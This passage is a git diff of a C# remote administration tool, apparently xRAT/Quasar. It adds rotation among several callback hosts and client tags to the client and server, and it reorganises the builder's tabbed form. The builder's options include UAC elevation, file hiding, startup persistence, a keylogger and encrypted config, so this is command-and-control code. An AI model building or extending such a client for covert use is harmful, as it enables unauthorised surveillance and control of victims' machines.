diff --git a/Client/Client.csproj b/Client/Client.csproj index 8d792151..08163c4d 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -52,6 +52,7 @@ + @@ -79,6 +80,8 @@ + + diff --git a/Client/Config/Settings.cs b/Client/Config/Settings.cs index c00732f8..6d313e17 100644 --- a/Client/Config/Settings.cs +++ b/Client/Config/Settings.cs @@ -10,8 +10,7 @@ namespace xClient.Config { #if DEBUG public static string VERSION = "1.0.0.0d"; - public static string HOST = "localhost"; - public static ushort PORT = 4782; + public static string HOSTS = "localhost:4782;"; public static int RECONNECTDELAY = 500; public static string PASSWORD = "1234"; public static string DIR = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); @@ -24,14 +23,14 @@ namespace xClient.Config public static bool HIDEFILE = false; public static bool ENABLEUACESCALATION = false; public static bool ENABLELOGGER = true; + public static string TAG = "DEBUG"; public static void Initialize() { } #else public static string VERSION = "1.0.0.0r"; - public static string HOST = "localhost"; - public static ushort PORT = 4782; + public static string HOSTS = "localhost:4782;"; public static int RECONNECTDELAY = 5000; public static string PASSWORD = "1234"; public static string DIR = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); @@ -45,12 +44,14 @@ namespace xClient.Config public static bool ENABLEUACESCALATION = true; public static bool ENABLELOGGER = true; public static string ENCRYPTIONKEY = "ENCKEY"; + public static string TAG = "RELEASE"; public static void Initialize() { AES.PreHashKey(ENCRYPTIONKEY); + TAG = AES.Decrypt(TAG); VERSION = AES.Decrypt(VERSION); - HOST = AES.Decrypt(HOST); + HOSTS = AES.Decrypt(HOSTS); PASSWORD = AES.Decrypt(PASSWORD); SUBFOLDER = AES.Decrypt(SUBFOLDER); INSTALLNAME = AES.Decrypt(INSTALLNAME); diff --git a/Client/Core/Commands/ConnectionHandler.cs b/Client/Core/Commands/ConnectionHandler.cs index 1acca30a..319f4cde 100644 --- a/Client/Core/Commands/ConnectionHandler.cs +++ b/Client/Core/Commands/ConnectionHandler.cs @@ -18,7 +18,7 @@ namespace xClient.Core.Commands GeoLocationHelper.Initialize(); new Packets.ClientPackets.GetAuthenticationResponse(Settings.VERSION, SystemCore.OperatingSystem, SystemCore.AccountType, GeoLocationHelper.Country, GeoLocationHelper.CountryCode, GeoLocationHelper.Region, GeoLocationHelper.City, GeoLocationHelper.ImageIndex, - SystemCore.GetId(), SystemCore.GetUsername(), SystemCore.GetPcName()).Execute(client); + SystemCore.GetId(), SystemCore.GetUsername(), SystemCore.GetPcName(), Settings.TAG).Execute(client); } public static void HandleDoClientUpdate(Packets.ServerPackets.DoClientUpdate command, Client client) diff --git a/Client/Core/Helper/HostHelper.cs b/Client/Core/Helper/HostHelper.cs new file mode 100644 index 00000000..5bd4db75 --- /dev/null +++ b/Client/Core/Helper/HostHelper.cs @@ -0,0 +1,40 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using xClient.Core.Utilities; + +namespace xClient.Core.Helper +{ + public static class HostHelper + { + public static List GetHostsList(string rawHosts) + { + List hostsList = new List(); + + var hosts = rawHosts.Split(';'); + + foreach (var hostPart in from host in hosts where !string.IsNullOrEmpty(host) select host.Split(':')) + { + if (hostPart.Length != 2 || hostPart[0].Length < 1 || hostPart[1].Length < 1) throw new Exception("Invalid host"); + + ushort port; + if (!ushort.TryParse(hostPart[1], out port)) throw new Exception("Invalid host"); + + hostsList.Add(new Host { Hostname = hostPart[0], Port = port }); + } + + return hostsList; + } + + public static string GetRawHosts(List hosts) + { + StringBuilder rawHosts = new StringBuilder(); + + foreach (var host in hosts) + rawHosts.Append(host + ";"); + + return rawHosts.ToString(); + } + } +} diff --git a/Client/Core/Packets/ClientPackets/GetAuthenticationResponse.cs b/Client/Core/Packets/ClientPackets/GetAuthenticationResponse.cs index 6850115b..b92255de 100644 --- a/Client/Core/Packets/ClientPackets/GetAuthenticationResponse.cs +++ b/Client/Core/Packets/ClientPackets/GetAuthenticationResponse.cs @@ -39,12 +39,15 @@ namespace xClient.Core.Packets.ClientPackets [ProtoMember(11)] public string PCName { get; set; } + [ProtoMember(12)] + public string Tag { get; set; } + public GetAuthenticationResponse() { } public GetAuthenticationResponse(string version, string operatingsystem, string accounttype, string country, string countrycode, - string region, string city, int imageindex, string id, string username, string pcname) + string region, string city, int imageindex, string id, string username, string pcname, string tag) { Version = version; OperatingSystem = operatingsystem; @@ -57,6 +60,7 @@ namespace xClient.Core.Packets.ClientPackets Id = id; Username = username; PCName = pcname; + Tag = tag; } public void Execute(Client client) diff --git a/Client/Core/Utilities/Host.cs b/Client/Core/Utilities/Host.cs new file mode 100644 index 00000000..bb8423d7 --- /dev/null +++ b/Client/Core/Utilities/Host.cs @@ -0,0 +1,13 @@ +namespace xClient.Core.Utilities +{ + public class Host + { + public string Hostname { get; set; } // Can be IP or Hostname + public ushort Port { get; set; } + + public override string ToString() + { + return Hostname + ":" + Port; + } + } +} diff --git a/Client/Core/Utilities/HostsManager.cs b/Client/Core/Utilities/HostsManager.cs new file mode 100644 index 00000000..06091145 --- /dev/null +++ b/Client/Core/Utilities/HostsManager.cs @@ -0,0 +1,23 @@ +using System.Collections.Generic; + +namespace xClient.Core.Utilities +{ + public class HostsManager + { + private readonly Queue _hosts = new Queue(); + + public HostsManager(List hosts) + { + foreach(var host in hosts) + _hosts.Enqueue(host); + } + + public Host GetNextHost() + { + var temp = _hosts.Dequeue(); + _hosts.Enqueue(temp); // add to the end of the queue + + return temp; + } + } +} diff --git a/Client/Program.cs b/Client/Program.cs index 834fd070..d8e345e8 100644 --- a/Client/Program.cs +++ b/Client/Program.cs @@ -21,6 +21,7 @@ namespace xClient private static volatile bool _connected = false; private static Mutex _appMutex; private static ApplicationContext _msgLoop; + private static HostsManager _hosts; [STAThread] private static void Main(string[] args) @@ -116,6 +117,7 @@ namespace xClient Thread.Sleep(2000); AES.PreHashKey(Settings.PASSWORD); + _hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS)); SystemCore.OperatingSystem = SystemCore.GetOperatingSystem(); SystemCore.MyPath = Application.ExecutablePath; SystemCore.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME); @@ -178,7 +180,9 @@ namespace xClient { Thread.Sleep(100 + new Random().Next(0, 250)); - ConnectClient.Connect(Settings.HOST, Settings.PORT); + Host host = _hosts.GetNextHost(); + + ConnectClient.Connect(host.Hostname, host.Port); Thread.Sleep(200); diff --git a/Server/Controls/Line.cs b/Server/Controls/Line.cs new file mode 100644 index 00000000..e149f0e0 --- /dev/null +++ b/Server/Controls/Line.cs @@ -0,0 +1,28 @@ +using System.Drawing; +using System.Windows.Forms; + +namespace xServer.Controls +{ + public class Line : Control + { + public enum Alignment + { + Horizontal, + Vertical + } + + public Alignment LineAlignment { get; set; } + + public Line() + { + this.TabStop = false; + } + + protected override void OnPaint(PaintEventArgs e) + { + base.OnPaint(e); + e.Graphics.DrawLine(new Pen(new SolidBrush(Color.LightGray)), new Point(5, 5), + LineAlignment == Alignment.Horizontal ? new Point(500, 5) : new Point(5, 500)); + } + } +} diff --git a/Server/Core/Build/ClientBuilder.cs b/Server/Core/Build/ClientBuilder.cs index 5bd9d6b0..dd5b1d4a 100644 --- a/Server/Core/Build/ClientBuilder.cs +++ b/Server/Core/Build/ClientBuilder.cs @@ -17,7 +17,8 @@ namespace xServer.Core.Build /// Builds a client executable. Assumes that the binaries for the client exist. /// /// The name of the final file. - /// The URI location of the host. + /// The tag to identify the client. + /// The raw host list. /// The password that is used to connect to the website. /// The sub-folder to install the client. /// Name of the installed executable. @@ -27,7 +28,6 @@ namespace xServer.Core.Build /// Determines whether to add the program to startup. /// Determines whether to hide the file. /// Determines if keylogging functionality should be activated. - /// The port the client will use to connect to the server. /// The amount the client will wait until attempting to reconnect. /// The installation path of the client. /// Determines whether the client should (attempt) to obtain administrator privileges. @@ -37,8 +37,8 @@ namespace xServer.Core.Build /// Thrown if the builder was unable to rename the client executable. /// Thrown if an invalid special folder was specified. /// Thrown if the client binaries do not exist. - public static void Build(string output, string host, string password, string installsub, string installname, - string mutex, string startupkey, bool install, bool startup, bool hidefile, bool keylogger, int port, + public static void Build(string output, string tag, string host, string password, string installsub, string installname, + string mutex, string startupkey, bool install, bool startup, bool hidefile, bool keylogger, int reconnectdelay, int installpath, bool adminelevation, string iconpath, string[] asminfo, string version) { @@ -91,9 +91,12 @@ namespace xServer.Core.Build case 7: //startupkey methodDef.Body.Instructions[i].Operand = AES.Encrypt(startupkey, encKey); break; - case 8: //random encryption key + case 8: //encryption key methodDef.Body.Instructions[i].Operand = encKey; break; + case 9: //tag + methodDef.Body.Instructions[i].Operand = AES.Encrypt(tag, encKey); + break; } strings++; } @@ -123,16 +126,8 @@ namespace xServer.Core.Build } else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int { - switch (ints) - { - case 1: //port - methodDef.Body.Instructions[i].Operand = port; - break; - case 2: //reconnectdelay - methodDef.Body.Instructions[i].Operand = reconnectdelay; - break; - } - ints++; + //reconnectdelay + methodDef.Body.Instructions[i].Operand = reconnectdelay; } else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte { diff --git a/Server/Core/Commands/ConnectionHandler.cs b/Server/Core/Commands/ConnectionHandler.cs index 1ca08198..c15380b1 100644 --- a/Server/Core/Commands/ConnectionHandler.cs +++ b/Server/Core/Commands/ConnectionHandler.cs @@ -28,6 +28,7 @@ namespace xServer.Core.Commands client.Value.Id = packet.Id; client.Value.Username = packet.Username; client.Value.PCName = packet.PCName; + client.Value.Tag = packet.Tag; string userAtPc = string.Format("{0}@{1}", client.Value.Username, client.Value.PCName); @@ -42,7 +43,7 @@ namespace xServer.Core.Commands // this " " leaves some space between the flag-icon and first item ListViewItem lvi = new ListViewItem(new string[] { - " " + client.EndPoint.Address.ToString(), client.EndPoint.Port.ToString(), + " " + client.EndPoint.Address, client.Value.Tag, userAtPc, client.Value.Version, "Connected", "Active", country, client.Value.OperatingSystem, client.Value.AccountType }) { Tag = client, ImageIndex = packet.ImageIndex }; diff --git a/Server/Core/Helper/HostHelper.cs b/Server/Core/Helper/HostHelper.cs new file mode 100644 index 00000000..a04f63a0 --- /dev/null +++ b/Server/Core/Helper/HostHelper.cs @@ -0,0 +1,40 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using xServer.Core.Utilities; + +namespace xServer.Core.Helper +{ + public static class HostHelper + { + public static List GetHostsList(string rawHosts) + { + List hostsList = new List(); + + var hosts = rawHosts.Split(';'); + + foreach (var hostPart in from host in hosts where !string.IsNullOrEmpty(host) select host.Split(':')) + { + if (hostPart.Length != 2 || hostPart[0].Length < 1 || hostPart[1].Length < 1) throw new Exception("Invalid host"); + + ushort port; + if (!ushort.TryParse(hostPart[1], out port)) throw new Exception("Invalid host"); + + hostsList.Add(new Host {Hostname = hostPart[0], Port = port}); + } + + return hostsList; + } + + public static string GetRawHosts(List hosts) + { + StringBuilder rawHosts = new StringBuilder(); + + foreach (var host in hosts) + rawHosts.Append(host + ";"); + + return rawHosts.ToString(); + } + } +} diff --git a/Server/Core/Networking/UserState.cs b/Server/Core/Networking/UserState.cs index 395d2d72..1f844190 100644 --- a/Server/Core/Networking/UserState.cs +++ b/Server/Core/Networking/UserState.cs @@ -18,6 +18,7 @@ namespace xServer.Core.Networking public string Id { get; set; } public string Username { get; set; } public string PCName { get; set; } + public string Tag { get; set; } public string DownloadDirectory { get; set; } public FrmRemoteDesktop FrmRdp { get; set; } diff --git a/Server/Core/Packets/ClientPackets/GetAuthenticationResponse.cs b/Server/Core/Packets/ClientPackets/GetAuthenticationResponse.cs index f2801fba..af397ed4 100644 --- a/Server/Core/Packets/ClientPackets/GetAuthenticationResponse.cs +++ b/Server/Core/Packets/ClientPackets/GetAuthenticationResponse.cs @@ -39,12 +39,15 @@ namespace xServer.Core.Packets.ClientPackets [ProtoMember(11)] public string PCName { get; set; } + [ProtoMember(12)] + public string Tag { get; set; } + public GetAuthenticationResponse() { } public GetAuthenticationResponse(string version, string operatingsystem, string accounttype, string country, string countrycode, - string region, string city, int imageindex, string id, string username, string pcname) + string region, string city, int imageindex, string id, string username, string pcname, string tag) { Version = version; OperatingSystem = operatingsystem; @@ -57,6 +60,7 @@ namespace xServer.Core.Packets.ClientPackets Id = id; Username = username; PCName = pcname; + Tag = tag; } public void Execute(Client client) diff --git a/Server/Core/Utilities/Host.cs b/Server/Core/Utilities/Host.cs new file mode 100644 index 00000000..02970b35 --- /dev/null +++ b/Server/Core/Utilities/Host.cs @@ -0,0 +1,13 @@ +namespace xServer.Core.Utilities +{ + public class Host + { + public string Hostname { get; set; } // Can be IP or Hostname + public ushort Port { get; set; } + + public override string ToString() + { + return Hostname + ":" + Port; + } + } +} diff --git a/Server/Forms/FrmBuilder.Designer.cs b/Server/Forms/FrmBuilder.Designer.cs index 53fcf30c..227d4fed 100644 --- a/Server/Forms/FrmBuilder.Designer.cs +++ b/Server/Forms/FrmBuilder.Designer.cs @@ -30,573 +30,135 @@ { this.components = new System.ComponentModel.Container(); System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmBuilder)); - this.lblMS = new System.Windows.Forms.Label(); - this.txtDelay = new System.Windows.Forms.TextBox(); - this.lblDelay = new System.Windows.Forms.Label(); - this.chkShowPass = new System.Windows.Forms.CheckBox(); - this.txtPassword = new System.Windows.Forms.TextBox(); - this.lblPassword = new System.Windows.Forms.Label(); - this.txtPort = new System.Windows.Forms.TextBox(); - this.lblPort = new System.Windows.Forms.Label(); - this.txtHost = new System.Windows.Forms.TextBox(); - this.lblHost = new System.Windows.Forms.Label(); - this.picUAC2 = new System.Windows.Forms.PictureBox(); - this.picUAC1 = new System.Windows.Forms.PictureBox(); - this.rbSystem = new System.Windows.Forms.RadioButton(); - this.rbProgramFiles = new System.Windows.Forms.RadioButton(); - this.txtRegistryKeyName = new System.Windows.Forms.TextBox(); - this.lblRegistryKeyName = new System.Windows.Forms.Label(); - this.chkStartup = new System.Windows.Forms.CheckBox(); - this.chkHide = new System.Windows.Forms.CheckBox(); - this.btnMutex = new System.Windows.Forms.Button(); - this.lblExamplePath = new System.Windows.Forms.Label(); - this.txtExamplePath = new System.Windows.Forms.TextBox(); - this.txtInstallsub = new System.Windows.Forms.TextBox(); - this.lblInstallsub = new System.Windows.Forms.Label(); - this.lblInstallpath = new System.Windows.Forms.Label(); - this.rbAppdata = new System.Windows.Forms.RadioButton(); - this.txtMutex = new System.Windows.Forms.TextBox(); - this.lblMutex = new System.Windows.Forms.Label(); - this.lblExtension = new System.Windows.Forms.Label(); - this.txtInstallname = new System.Windows.Forms.TextBox(); - this.lblInstallname = new System.Windows.Forms.Label(); - this.chkInstall = new System.Windows.Forms.CheckBox(); - this.chkIconChange = new System.Windows.Forms.CheckBox(); - this.chkElevation = new System.Windows.Forms.CheckBox(); this.btnBuild = new System.Windows.Forms.Button(); this.tooltip = new System.Windows.Forms.ToolTip(this.components); + this.ctxtMenuHosts = new System.Windows.Forms.ContextMenuStrip(this.components); + this.ctxtRemove = new System.Windows.Forms.ToolStripMenuItem(); + this.builderTabs = new xServer.Controls.DotNetBarTabControl(); + this.generalPage = new System.Windows.Forms.TabPage(); + this.label9 = new System.Windows.Forms.Label(); + this.line6 = new xServer.Controls.Line(); + this.label8 = new System.Windows.Forms.Label(); + this.txtTag = new System.Windows.Forms.TextBox(); + this.label7 = new System.Windows.Forms.Label(); + this.lblTag = new System.Windows.Forms.Label(); + this.txtMutex = new System.Windows.Forms.TextBox(); + this.btnMutex = new System.Windows.Forms.Button(); + this.line5 = new xServer.Controls.Line(); + this.lblMutex = new System.Windows.Forms.Label(); + this.label6 = new System.Windows.Forms.Label(); + this.connectionPage = new System.Windows.Forms.TabPage(); + this.line3 = new xServer.Controls.Line(); + this.label4 = new System.Windows.Forms.Label(); + this.label3 = new System.Windows.Forms.Label(); + this.line2 = new xServer.Controls.Line(); + this.label2 = new System.Windows.Forms.Label(); + this.line1 = new xServer.Controls.Line(); + this.label1 = new System.Windows.Forms.Label(); + this.lstHosts = new System.Windows.Forms.ListBox(); + this.btnAddHost = new System.Windows.Forms.Button(); + this.lblMS = new System.Windows.Forms.Label(); + this.lblHost = new System.Windows.Forms.Label(); + this.txtDelay = new System.Windows.Forms.TextBox(); + this.txtHost = new System.Windows.Forms.TextBox(); + this.lblDelay = new System.Windows.Forms.Label(); + this.lblPort = new System.Windows.Forms.Label(); + this.chkShowPass = new System.Windows.Forms.CheckBox(); + this.txtPort = new System.Windows.Forms.TextBox(); + this.txtPassword = new System.Windows.Forms.TextBox(); + this.lblPassword = new System.Windows.Forms.Label(); + this.installationPage = new System.Windows.Forms.TabPage(); + this.line7 = new xServer.Controls.Line(); + this.label10 = new System.Windows.Forms.Label(); + this.line4 = new xServer.Controls.Line(); + this.label5 = new System.Windows.Forms.Label(); + this.picUAC2 = new System.Windows.Forms.PictureBox(); + this.picUAC1 = new System.Windows.Forms.PictureBox(); + this.chkInstall = new System.Windows.Forms.CheckBox(); + this.rbSystem = new System.Windows.Forms.RadioButton(); + this.lblInstallname = new System.Windows.Forms.Label(); + this.rbProgramFiles = new System.Windows.Forms.RadioButton(); + this.txtInstallname = new System.Windows.Forms.TextBox(); + this.txtRegistryKeyName = new System.Windows.Forms.TextBox(); + this.lblExtension = new System.Windows.Forms.Label(); + this.lblRegistryKeyName = new System.Windows.Forms.Label(); + this.chkStartup = new System.Windows.Forms.CheckBox(); + this.rbAppdata = new System.Windows.Forms.RadioButton(); + this.chkHide = new System.Windows.Forms.CheckBox(); + this.lblInstallpath = new System.Windows.Forms.Label(); + this.lblInstallsub = new System.Windows.Forms.Label(); + this.lblExamplePath = new System.Windows.Forms.Label(); + this.txtInstallsub = new System.Windows.Forms.TextBox(); + this.txtExamplePath = new System.Windows.Forms.TextBox(); + this.assemblyPage = new System.Windows.Forms.TabPage(); + this.line8 = new xServer.Controls.Line(); + this.label11 = new System.Windows.Forms.Label(); this.chkChangeAsmInfo = new System.Windows.Forms.CheckBox(); this.txtFileVersion = new System.Windows.Forms.TextBox(); + this.lblProductName = new System.Windows.Forms.Label(); this.lblFileVersion = new System.Windows.Forms.Label(); + this.txtProductName = new System.Windows.Forms.TextBox(); this.txtProductVersion = new System.Windows.Forms.TextBox(); + this.lblDescription = new System.Windows.Forms.Label(); this.lblProductVersion = new System.Windows.Forms.Label(); + this.txtDescription = new System.Windows.Forms.TextBox(); this.txtOriginalFilename = new System.Windows.Forms.TextBox(); + this.lblCompanyName = new System.Windows.Forms.Label(); this.lblOriginalFilename = new System.Windows.Forms.Label(); + this.txtCompanyName = new System.Windows.Forms.TextBox(); this.txtTrademarks = new System.Windows.Forms.TextBox(); + this.lblCopyright = new System.Windows.Forms.Label(); this.lblTrademarks = new System.Windows.Forms.Label(); this.txtCopyright = new System.Windows.Forms.TextBox(); - this.lblCopyright = new System.Windows.Forms.Label(); - this.txtCompanyName = new System.Windows.Forms.TextBox(); - this.lblCompanyName = new System.Windows.Forms.Label(); - this.txtDescription = new System.Windows.Forms.TextBox(); - this.lblDescription = new System.Windows.Forms.Label(); - this.txtProductName = new System.Windows.Forms.TextBox(); - this.lblProductName = new System.Windows.Forms.Label(); - this.chkKeylogger = new System.Windows.Forms.CheckBox(); - this.builderTabs = new xServer.Controls.DotNetBarTabControl(); - this.connectionPage = new System.Windows.Forms.TabPage(); - this.installationPage = new System.Windows.Forms.TabPage(); - this.assemblyPage = new System.Windows.Forms.TabPage(); this.additionalTab = new System.Windows.Forms.TabPage(); - ((System.ComponentModel.ISupportInitialize)(this.picUAC2)).BeginInit(); - ((System.ComponentModel.ISupportInitialize)(this.picUAC1)).BeginInit(); + this.line10 = new xServer.Controls.Line(); + this.label14 = new System.Windows.Forms.Label(); + this.label13 = new System.Windows.Forms.Label(); + this.line9 = new xServer.Controls.Line(); + this.label12 = new System.Windows.Forms.Label(); + this.chkKeylogger = new System.Windows.Forms.CheckBox(); + this.chkElevation = new System.Windows.Forms.CheckBox(); + this.chkIconChange = new System.Windows.Forms.CheckBox(); + this.ctxtMenuHosts.SuspendLayout(); this.builderTabs.SuspendLayout(); + this.generalPage.SuspendLayout(); this.connectionPage.SuspendLayout(); this.installationPage.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.picUAC2)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.picUAC1)).BeginInit(); this.assemblyPage.SuspendLayout(); this.additionalTab.SuspendLayout(); this.SuspendLayout(); // - // lblMS - // - this.lblMS.AutoSize = true; - this.lblMS.Location = new System.Drawing.Point(184, 126); - this.lblMS.Name = "lblMS"; - this.lblMS.Size = new System.Drawing.Size(21, 13); - this.lblMS.TabIndex = 9; - this.lblMS.Text = "ms"; - // - // txtDelay - // - this.txtDelay.Location = new System.Drawing.Point(116, 120); - this.txtDelay.MaxLength = 6; - this.txtDelay.Name = "txtDelay"; - this.txtDelay.Size = new System.Drawing.Size(66, 22); - this.txtDelay.TabIndex = 8; - this.txtDelay.Text = "5000"; - this.txtDelay.TextChanged += new System.EventHandler(this.HasChangedSetting); - this.txtDelay.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtDelay_KeyPress); - // - // lblDelay - // - this.lblDelay.AutoSize = true; - this.lblDelay.Location = new System.Drawing.Point(15, 123); - this.lblDelay.Name = "lblDelay"; - this.lblDelay.Size = new System.Drawing.Size(95, 13); - this.lblDelay.TabIndex = 7; - this.lblDelay.Text = "Reconnect Delay:"; - // - // chkShowPass - // - this.chkShowPass.AutoSize = true; - this.chkShowPass.Location = new System.Drawing.Point(116, 99); - this.chkShowPass.Name = "chkShowPass"; - this.chkShowPass.Size = new System.Drawing.Size(107, 17); - this.chkShowPass.TabIndex = 6; - this.chkShowPass.Text = "Show Password"; - this.chkShowPass.UseVisualStyleBackColor = true; - this.chkShowPass.CheckedChanged += new System.EventHandler(this.chkShowPass_CheckedChanged); - // - // txtPassword - // - this.txtPassword.Location = new System.Drawing.Point(116, 71); - this.txtPassword.Name = "txtPassword"; - this.txtPassword.PasswordChar = '•'; - this.txtPassword.Size = new System.Drawing.Size(201, 22); - this.txtPassword.TabIndex = 5; - this.txtPassword.TextChanged += new System.EventHandler(this.HasChangedSetting); - // - // lblPassword - // - this.lblPassword.AutoSize = true; - this.lblPassword.Location = new System.Drawing.Point(51, 74); - this.lblPassword.Name = "lblPassword"; - this.lblPassword.Size = new System.Drawing.Size(59, 13); - this.lblPassword.TabIndex = 4; - this.lblPassword.Text = "Password:"; - // - // txtPort - // - this.txtPort.Location = new System.Drawing.Point(116, 43); - this.txtPort.MaxLength = 5; - this.txtPort.Name = "txtPort"; - this.txtPort.Size = new System.Drawing.Size(66, 22); - this.txtPort.TabIndex = 3; - this.txtPort.TextChanged += new System.EventHandler(this.HasChangedSetting); - this.txtPort.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtPort_KeyPress); - // - // lblPort - // - this.lblPort.AutoSize = true; - this.lblPort.Location = new System.Drawing.Point(79, 46); - this.lblPort.Name = "lblPort"; - this.lblPort.Size = new System.Drawing.Size(31, 13); - this.lblPort.TabIndex = 2; - this.lblPort.Text = "Port:"; - // - // txtHost - // - this.txtHost.Location = new System.Drawing.Point(116, 15); - this.txtHost.Name = "txtHost"; - this.txtHost.Size = new System.Drawing.Size(201, 22); - this.txtHost.TabIndex = 1; - this.txtHost.TextChanged += new System.EventHandler(this.HasChangedSetting); - // - // lblHost - // - this.lblHost.AutoSize = true; - this.lblHost.Location = new System.Drawing.Point(35, 18); - this.lblHost.Name = "lblHost"; - this.lblHost.Size = new System.Drawing.Size(75, 13); - this.lblHost.TabIndex = 0; - this.lblHost.Text = "IP/Hostname:"; - // - // picUAC2 - // - this.picUAC2.Image = global::xServer.Properties.Resources.uac_shield; - this.picUAC2.Location = new System.Drawing.Point(238, 138); - this.picUAC2.Name = "picUAC2"; - this.picUAC2.Size = new System.Drawing.Size(16, 20); - this.picUAC2.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; - this.picUAC2.TabIndex = 32; - this.picUAC2.TabStop = false; - this.tooltip.SetToolTip(this.picUAC2, "Administrator Privileges are required to install the client in System."); - // - // picUAC1 - // - this.picUAC1.Image = global::xServer.Properties.Resources.uac_shield; - this.picUAC1.Location = new System.Drawing.Point(238, 118); - this.picUAC1.Name = "picUAC1"; - this.picUAC1.Size = new System.Drawing.Size(16, 20); - this.picUAC1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; - this.picUAC1.TabIndex = 31; - this.picUAC1.TabStop = false; - this.tooltip.SetToolTip(this.picUAC1, "Administrator Privileges are required to install the client in Program Files."); - // - // rbSystem - // - this.rbSystem.AutoSize = true; - this.rbSystem.Location = new System.Drawing.Point(116, 141); - this.rbSystem.Name = "rbSystem"; - this.rbSystem.Size = new System.Drawing.Size(60, 17); - this.rbSystem.TabIndex = 10; - this.rbSystem.TabStop = true; - this.rbSystem.Text = "System"; - this.tooltip.SetToolTip(this.rbSystem, "Administrator Privileges are required to install the client in System."); - this.rbSystem.UseVisualStyleBackColor = true; - this.rbSystem.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); - // - // rbProgramFiles - // - this.rbProgramFiles.AutoSize = true; - this.rbProgramFiles.Location = new System.Drawing.Point(116, 118); - this.rbProgramFiles.Name = "rbProgramFiles"; - this.rbProgramFiles.Size = new System.Drawing.Size(94, 17); - this.rbProgramFiles.TabIndex = 9; - this.rbProgramFiles.TabStop = true; - this.rbProgramFiles.Text = "Program Files"; - this.tooltip.SetToolTip(this.rbProgramFiles, "Administrator Privileges are required to install the client in Program Files."); - this.rbProgramFiles.UseVisualStyleBackColor = true; - this.rbProgramFiles.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); - // - // txtRegistryKeyName - // - this.txtRegistryKeyName.Location = new System.Drawing.Point(116, 275); - this.txtRegistryKeyName.Name = "txtRegistryKeyName"; - this.txtRegistryKeyName.Size = new System.Drawing.Size(201, 22); - this.txtRegistryKeyName.TabIndex = 18; - this.txtRegistryKeyName.TextChanged += new System.EventHandler(this.HasChangedSetting); - // - // lblRegistryKeyName - // - this.lblRegistryKeyName.AutoSize = true; - this.lblRegistryKeyName.Location = new System.Drawing.Point(7, 278); - this.lblRegistryKeyName.Name = "lblRegistryKeyName"; - this.lblRegistryKeyName.Size = new System.Drawing.Size(103, 13); - this.lblRegistryKeyName.TabIndex = 17; - this.lblRegistryKeyName.Text = "Registry Key Name:"; - // - // chkStartup - // - this.chkStartup.AutoSize = true; - this.chkStartup.Location = new System.Drawing.Point(116, 252); - this.chkStartup.Name = "chkStartup"; - this.chkStartup.Size = new System.Drawing.Size(102, 17); - this.chkStartup.TabIndex = 16; - this.chkStartup.Text = "Add to Startup"; - this.chkStartup.UseVisualStyleBackColor = true; - this.chkStartup.CheckedChanged += new System.EventHandler(this.chkStartup_CheckedChanged); - // - // chkHide - // - this.chkHide.AutoSize = true; - this.chkHide.Location = new System.Drawing.Point(116, 229); - this.chkHide.Name = "chkHide"; - this.chkHide.Size = new System.Drawing.Size(71, 17); - this.chkHide.TabIndex = 15; - this.chkHide.Text = "Hide File"; - this.chkHide.UseVisualStyleBackColor = true; - this.chkHide.CheckedChanged += new System.EventHandler(this.HasChangedSetting); - // - // btnMutex - // - this.btnMutex.Font = new System.Drawing.Font("Segoe UI", 6.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.btnMutex.Location = new System.Drawing.Point(242, 41); - this.btnMutex.Name = "btnMutex"; - this.btnMutex.Size = new System.Drawing.Size(75, 18); - this.btnMutex.TabIndex = 3; - this.btnMutex.Text = "New Mutex"; - this.btnMutex.UseVisualStyleBackColor = true; - this.btnMutex.Click += new System.EventHandler(this.btnMutex_Click); - // - // lblExamplePath - // - this.lblExamplePath.AutoSize = true; - this.lblExamplePath.Location = new System.Drawing.Point(32, 204); - this.lblExamplePath.Name = "lblExamplePath"; - this.lblExamplePath.Size = new System.Drawing.Size(78, 13); - this.lblExamplePath.TabIndex = 13; - this.lblExamplePath.Text = "Example Path:"; - // - // txtExamplePath - // - this.txtExamplePath.Location = new System.Drawing.Point(116, 201); - this.txtExamplePath.Name = "txtExamplePath"; - this.txtExamplePath.ReadOnly = true; - this.txtExamplePath.Size = new System.Drawing.Size(201, 22); - this.txtExamplePath.TabIndex = 14; - // - // txtInstallsub - // - this.txtInstallsub.Location = new System.Drawing.Point(116, 173); - this.txtInstallsub.Name = "txtInstallsub"; - this.txtInstallsub.Size = new System.Drawing.Size(201, 22); - this.txtInstallsub.TabIndex = 12; - this.txtInstallsub.TextChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); - this.txtInstallsub.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallsub_KeyPress); - // - // lblInstallsub - // - this.lblInstallsub.AutoSize = true; - this.lblInstallsub.Location = new System.Drawing.Point(15, 176); - this.lblInstallsub.Name = "lblInstallsub"; - this.lblInstallsub.Size = new System.Drawing.Size(95, 13); - this.lblInstallsub.TabIndex = 11; - this.lblInstallsub.Text = "Install Subfolder:"; - // - // lblInstallpath - // - this.lblInstallpath.AutoSize = true; - this.lblInstallpath.Location = new System.Drawing.Point(43, 97); - this.lblInstallpath.Name = "lblInstallpath"; - this.lblInstallpath.Size = new System.Drawing.Size(67, 13); - this.lblInstallpath.TabIndex = 7; - this.lblInstallpath.Text = "Install Path:"; - // - // rbAppdata - // - this.rbAppdata.AutoSize = true; - this.rbAppdata.Checked = true; - this.rbAppdata.Location = new System.Drawing.Point(116, 95); - this.rbAppdata.Name = 